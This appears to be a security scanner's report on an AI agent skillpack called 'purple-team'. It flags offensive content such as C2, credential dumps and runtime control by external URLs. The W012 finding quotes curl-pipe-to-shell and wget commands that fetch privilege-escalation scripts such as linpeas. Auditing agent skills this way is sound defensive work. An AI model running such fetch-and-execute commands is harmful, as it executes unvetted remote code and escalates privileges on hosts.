purple-team

CRITICAL E005: Suspicious download URL detected in skill instructions.

• Suspicious download URL detected (high risk: 0.90). These URLs include direct downloads of shell scripts (.sh) from GitHub/raw.githubusercontent.com which are high-risk to fetch-and-execute remotely because they can deliver and run arbitrary code.

CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 1.00). This skillpack contains explicit, actionable offensive techniques (payload generation, C2, reverse tunnels, SSRF to metadata, credential dumps, exfiltration examples, obfuscation/packing) that enable deliberate data theft, remote code execution, backdoors, and persistence.

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 1.00). The skill includes commands that fetch and execute remote scripts at runtime (e.g., "curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh", "curl -L https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh | sh -s -- -l 1", and "wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh"), which directly download and run external code and are presented as runtime tooling in the linux-privesc workflow.

MEDIUM W013: Attempt to modify system services in skill instructions.

• Attempt to modify system services in skill instructions detected (high risk: 0.90). The routing hub explicitly includes and directs to red-team/post-exploitation sub-skills (e.g., Linux privilege escalation, sudo misconfig, SSH key attacks, C2 frameworks) that push workflows likely to obtain elevated privileges, bypass security controls, or modify host state.